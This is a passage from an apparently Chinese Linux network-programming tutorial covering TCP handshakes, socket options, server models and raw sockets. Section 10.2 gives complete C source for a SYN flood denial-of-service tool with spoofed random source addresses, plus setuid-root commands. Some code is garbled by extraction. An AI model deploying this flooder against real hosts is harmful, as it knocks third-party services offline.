第二步伺服器收到了數據包,並從SYN位為1知道這是一個建立請求的連接.於是伺服器也
向客戶端發送一個TCP數據包.因為是響應客戶機的請求,於是伺服器設置ACK為1,sak_se
q=1001(1000+1)同時設置自己的序列號.seq=2000(我們假設為2000).
第三步客戶機收到了伺服器的TCP,並從ACK為1和ack_seq=1001知道是從伺服器來的確認
信息.於是客戶機也向伺服器發送確認信息.客戶機設置ACK=1,和ack_seq=2001,seq=100
1,發送給伺服器.至此客戶端完成連接.
最後一步伺服器受到確認信息,也完成連接.
通過上面幾個步驟,一個TCP連接就建立了.當然在建立過程中可能出現錯誤,不過TCP協議
可以保證自己去處理錯誤的.
說一說其中的一種錯誤.
聽說過DOS嗎?(可不是操作系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻
擊者用的就是DOS(拒絕式服務)方式.概括的說一下原理.
客戶機先進行第一個步驟.伺服器收到后,進行第二個步驟.按照正常的TCP連接,客戶機
應該進行第三個步驟.
不過攻擊者實際上並不進行第三個步驟.因為客戶端在進行第一個步驟的時候,修改了自
己的IP地址,就是說將一個實際上不存在的IP填充在自己IP數據包的發送者的IP一欄.這
樣因為伺服器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認信號,這樣
服務務端會在那邊一直等待,直到超時.
這樣當有大量的客戶發出請求后,服務端會有大量等待,直到所有的資源被用光,而不能再
接收客戶機的請求.
這樣當正常的用戶向伺服器發出請求時,由於沒有了資源而不能成功.於是就出現了春節
時所出現的情況.
----------------------------------------------------------------------------

網路編程(8)

8. 套接字選項
有時候我們要控制套接字的行為(如修改緩衝區的大小),這個時候我們就要控制套接字的
選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO
TO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),我們下面詳細解釋
optval獲得或者是設置套接字選項.根據選項名稱的數據類型進行轉換
選項名稱 說明 數據類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許發送廣播數據 int
SO_DEBUG 允許調試 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 獲得套接字錯誤 int
SO_KEEPALIVE 保持連接 int
SO_LINGER 延遲關閉連接 struct linge
r
SO_OOBINLINE 帶外數據放入正常數據流 int
SO_RCVBUF 接收緩衝區大小 int
SO_SNDBUF 發送緩衝區大小 int
SO_RCVLOWAT 接收緩衝區下限 int
SO_SNDLOWAT 發送緩衝區下限 int
SO_RCVTIMEO 接收超時 struct timev
al
SO_SNDTIMEO 發送超時 struct timev
al
SO_REUSERADDR 允許重用本地地址和埠 int
SO_TYPE 獲得套接字類型 int
SO_BSDCOMPAT 與BSD系統兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在數據包中包含IP首部 int
IP_OPTINOS IP首部選項 int
IP_TOS 服務類型
IP_TTL 生存時間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大數據段的大小 int
TCP_NODELAY 不使用Nagle演算法 int
=========================================================================
關於這些選項的詳細情況請查看 Linux Programmer's Manual
8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這裡介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK 是否到達帶外標記 int
FIOASYNC 非同步輸入/輸出標誌 int
FIONREAD 緩衝區可讀的位元組數 int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
--

網路編程(9)

9. 伺服器模型
學習過《軟體工程》吧.軟體工程可是每一個程序員"必修"的課程啊.如果你沒有學習過
, 建議你去看一看. 在這一章裡面,我們一起來從軟體工程的角度學習網路編程的思想.
在我們寫程序之前, 我們都應該從軟體工程的角度規劃好我們的軟體,這樣我們開發軟體
的效率才會高. 在網路程序裡面,一般的來說都是許多客戶機對應一個伺服器.為了處理
客戶機的請求, 對服務端的程序就提出了特殊的要求.我們學習一下目前最常用的伺服器
模型.
循環伺服器:循環伺服器在同一個時刻只可以響應一個客戶端的請求
併發伺服器:併發伺服器在同一個時刻可以響應多個客戶端的請求
9.1 循環伺服器:UDP伺服器
UDP循環伺服器的實現非常簡單:UDP伺服器每次從套接字上讀取一個客戶端的請求,處理
, 然後將結果返回給客戶機.
可以用下面的演算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因為UDP是非面向連接的,沒有一個客戶端可以老是佔住服務端. 只要處理過程不是死循
環, 伺服器對於每一個客戶機的請求總是能夠滿足.
9.2 循環伺服器:TCP伺服器
TCP循環伺服器的實現也不難:TCP伺服器接受一個客戶端的連接,然後處理,完成了這個客
戶的所有請求后,斷開連接.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環伺服器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足后,
伺服器才可以繼續後面的請求.這樣如果有一個客戶端佔住伺服器不放時,其它的客戶機
都不能工作了.因此,TCP伺服器一般很少用循環伺服器模型的.
9.3 併發伺服器:TCP伺服器
為了彌補循環TCP伺服器的缺陷,人們又想出了併發伺服器的模型. 併發伺服器的思想是
每一個客戶機的請求並不由伺服器直接處理,而是伺服器創建一個 子進程來處理.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP併發伺服器可以解決TCP循環伺服器客戶機獨佔伺服器的情況. 不過也同時帶來了一
個不小的問題.為了響應客戶機的請求,伺服器要創建子進程來處理. 而創建子進程是一
種非常消耗資源的操作.
9.4 併發伺服器:多路復用I/O
為了解決創建子進程帶來的系統資源消耗,人們又想出了多路復用I/O模型.
首先介紹一個函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的來說當我們在向文件讀寫時,進程有可能在讀寫出阻塞,直到一定的條件滿足. 比
如我們從一個套接字讀數據時,可能緩衝區裡面沒有數據可讀(通信的對方還沒有 發送數
據過來),這個時候我們的讀調用就會等待(阻塞)直到有數據可讀.如果我們不 希望阻塞
,我們的一個選擇是用select系統調用. 只要我們設置好select的各個參數,那麼當文件
可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述
符的集合
writefds所有要的寫文件文件描述符的集合
exceptfds其他的服要向我們通知的文件描述符
timeout超時設置.
nfds所有我們監控的文件描述符中最大的那一個加1
在我們調用select時進程會一直阻塞直到以下的一種情況發生. 1)有文件可以讀.2)有文
件可以寫.3)超時所設置的時間到.
為了設置文件描述符我們要使用幾個宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset裡面清除
FD_ZERO從fdset中清除所有的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i if(readfd>;maxfd) maxfd=readfd;
while(1)
{
/* 將所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i FD_SET(readfd,*my_readfd);
/* 進程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i if(FD_ISSET(readfd,&my_readfd))
{
/* 原來是我可以讀了 */
we_read(readfd);
}
}
}
使用select后我們的伺服器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設置監聽讀寫文件描述符(FD_*);
調用select;
如果是傾聽套接字就緒,說明一個新的連接請求建立
{
建立連接(accept);
加入到監聽文件描述符中去;
}
否則說明是一個已經連接過的描述符
{
進行操作(read或者write);
}
}
多路復用I/O可以解決資源限制的問題.著模型實際上是將UDP循環模型用在了TCP上面.
這也就帶來了一些問題.如由於伺服器依次處理客戶的請求,所以可能會導致有的客戶 會
等待很久.
9.5 併發伺服器:UDP伺服器
人們把併發的概念用於UDP就得到了併發UDP伺服器模型. 併發UDP伺服器模型其實是簡單
的.和併發的TCP伺服器模型一樣是創建一個子進程來處理的 演算法和併發的TCP模型一樣
..
除非伺服器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.
9.6 一個併發TCP伺服器實例
#include ;
#include ;
#include ;
#include ;
#include ;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果伺服器終止后,伺服器可以第二次快速啟動而不用等待一段時間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進程處理客戶端的連接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫客戶端程序來調試著程序,或者是用來telnet調試
--

網路編程(10)

10. 原始套接字
我們在前面已經學習過了網路程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可
以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root許可權的
人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 ; 下
面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實現DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#define DESTPORT 80 /* 要攻擊的埠(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP數據包的頭部長度 **/
ip->;ip_tos=0; /** 服務類型 **/
ip->;ip_len=htons(head_len); /** IP數據包的長度 **/
ip->;ip_id=0; /** 讓系統去填寫吧 **/
ip->;ip_off=0; /** 和上面一樣,省點時間 **/
ip->;ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->;ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->;ip_sum=0; /** 校驗和讓系統去做 **/
ip->;ip_dst=addr->;sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的埠 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要建立連接 **/
tcp->;check=0;
/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的演算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 為了讓普
通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了
.. 不過這裡面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負
責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用
相應的模塊給數據加上TCP頭部,然後加上IP頭部. 再發送出去.而現在是我們自己創建各
個的頭部,系統只是把它們發送出去. 在上面的實例中,由於我們要修改我們的源IP地址
,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那麼IP數據一樣也可以由
系統來創建的.
--

11.1 參考資料


[火星人 ] Linux程序設計入門--網路編程已經有843次圍觀

http://coctec.com/docs/linux/show-post-189811.html